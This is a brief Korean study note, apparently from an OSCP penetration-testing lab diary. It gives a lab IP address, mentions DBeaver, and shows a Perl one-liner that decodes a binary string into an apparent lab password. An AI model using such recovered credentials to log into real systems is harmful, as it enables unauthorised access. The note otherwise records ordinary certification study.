10.200.95.31
* db gui
dbeaver
* hash to string
perl -lpe '$_=pack"B*",$_' < <( echo 010000000110010001101101001000010110111001011111010100000100000001110011011100110101011100110000011100100110010000100001 )
반응형'Certification > OSCP' 카테고리의 다른 글
OSCP 자격증 취득 후기 (Offensive Security Certified Professional) (10) 2022.05.16 about AD(Active Directory) (0) 2022.03.11 LABs (0) 2021.11.03 Day 48~49 (0) 2021.11.01 Day 47 (0) 2021.11.01